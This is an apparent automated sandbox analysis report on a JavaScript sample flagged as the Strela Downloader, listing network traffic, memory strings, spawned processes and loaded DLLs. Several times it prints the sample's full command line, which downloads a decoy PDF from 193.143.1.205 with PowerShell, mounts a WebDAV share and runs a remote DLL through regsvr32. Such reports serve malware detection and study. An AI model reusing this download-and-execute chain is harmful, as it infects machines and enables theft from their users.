HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2041592972.0000013C0ED5F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2043281060.0000013C0ED83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2088680447.000001D2CDBBC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2088237445.000001D2CDBDA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2088281692.000001D2CDBBC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2088614646.000001D2CDB88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2088680447.000001D2CDBBC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2088281692.000001D2CDBBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/J
Source: net.exe, 00000007.00000002.2088680447.000001D2CDBBC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2088281692.000001D2CDBBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/N
Source: net.exe, 00000007.00000002.2088614646.000001D2CDB88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sceW
Source: svchost.exe, 00000009.00000002.3321671046.000002269E400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2092287431.000002269E350000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3716, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2216485416601.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2216485416601.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 270782763316448754.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3608:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iqkvjbp4.5sx.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\270782763316448754.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2216485416601.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2052 --field-trial-handle=1628,i,5742921726119356218,17289820269750902021,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2216485416601.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2052 --field-trial-handle=1628,i,5742921726119356218,17289820269750902021,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
